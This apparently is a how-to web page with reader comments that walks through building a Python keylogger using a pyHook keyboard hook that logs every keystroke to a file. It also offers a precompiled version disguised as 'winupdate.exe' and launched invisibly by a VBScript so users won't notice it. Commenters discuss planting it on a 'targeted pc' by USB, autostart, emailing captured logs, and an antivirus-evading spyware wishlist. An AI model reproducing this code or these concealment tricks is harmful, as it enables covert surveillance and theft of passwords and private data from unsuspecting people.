Introduction: Simple Keylogger
I have recently been making a much more advanced keylogger that can even send logs via gmail. So if you are interested, check the github project.
This is a simple keylogger that I made using python. I tried to make one in batch or vbs, but it is practically impossible. So I had to use python.
You all see on the internet, keyloggers, an then you download it and install it to spy or monitor someone (Windows 10 even has a built-in keylogger) . But the problem is, is that you probably also installed a ton of virus of other junk in the process.
I will show you how to make your own, or you can download mine below:
Attachments
Step 1: Installing Python...
Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install python and some modules. Download and install the following:
Step 2: Creating the Code...
Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:
import pyHook, pythoncom, sys, logging# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()
Then save it as something.pyw
Step 3: Test...
Now double-click on the file you just created and test it out, then start typing.
When you want to stop logging, open up task manager and kill all the "python" processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.
NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.
This is the end of the instructable for you. BUT if you want to see my keylogger, continue on...
If you have any questions/concerns please pm me or post a comment.
Step 4: My Keylogger
First extract keylogger.rar and open up the folder with the files.
You should see a bunch of random files, this is because when you compile a python program to a standalone .exe, you need all these files in the same directory as the program.
The only important files are "Run.vbs" and "winupdate.exe". winupdate.exe is the actual keylogger program. The reason why it is called "winupdate", is so nothing looks suspicious if the user opens up task manager.
For some reason when you compile a python program to a .exe, you don't have any option to make it run invisible, so to fix this, I created a small vbscript file called Run.vbs which simply launches winupdate.exe invisibly.
Step 5: Test...
Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that you have typed are logged.
NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.
Step 6: Hope You Found This Helpfull
Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.
Have fun keylogging, but please don't use this program maliciously.
66 Comments
Question 21 days ago
Hi, first of all cool and simple keylogger, thanks for it. But i'm wondering is it possible to run the Run.vbs at windows startup? Tried to add via regedit in a few locations but no success. Thanks in advance for any tips
Question 11 months ago
I will make the keylogger with python but, do I need python installed on the targeted pc when I plan to use it?
Answer 11 months ago
No it you use the Keylogger.rar which is compiled.
Reply 11 months ago
Yeah, I made the test on my PC, just drop it with a usb key and your good. Thanks
Reply 3 months ago
how you do it can u plz guide me plz bro
Question 3 months ago on Step 4
why i cant see keylogger.rar in my pc and second i had made a copied whole script and paste in idle and then save it but it cant open pleasr anybuddy here guide me m feeling exhausted plz
Question 1 year ago on Step 6
Hello, i was wondering, how can i see the logged text with your program :/
Question 3 years ago
Thank you it works perfectly
But why is there a line break, that is, is it written vertically and not horizontally?
Answer 3 years ago
It appends each character on a new line.
Reply 1 year ago
Is there a way to make it so it does not append to a new line each time?
Reply 3 years ago
Merci d'avoir répondu
Il est donc impossible de le faire?
Question 4 years ago
It is not working for me: I've downloaded and installed all mentioned programs:
python-2.7.13.amd64
pyHook-1.5.1.win32-py2.7
pywin32-219.win-amd64-py2.7
but is not creating an output file on my desktop.
I would also like to customize the keylogger in such way it will send the logs to an email address.
The ideal keylogger should have according to me the following features:
1- Undetectable by all antivirus
2- Can be installed with one click (keylogger hidden on a file) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to a defined email address and FTP
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows/MacOS
Can someone help me please?
Answer 2 years ago
I need your contact
Answer 4 years ago
Check the one on github.
Reply 4 years ago
I already tried but I don't get an output file and it is urgent.
Could you please set me a keylogger that will send the data to my email address?
I would like it to have this features:
2- Can be installed with one click (keylogger hidden on a file/package) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to my email address (and eventually FTP)
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows (and MacOS eventually).
Thank you so much!!!
Question 2 years ago on Step 6
Can this be applicable to android also? I'm just learning right now so I'm notnsurenif I can use the same input above or not.
Reply 2 years ago
It would need to be rewritten and would probably require a more android friendly languagae such as Java.
2 years ago
can u detect keylogger on ur pc using python
Reply 2 years ago
I am not sure, probably.
3 years ago
How i can send any typing to email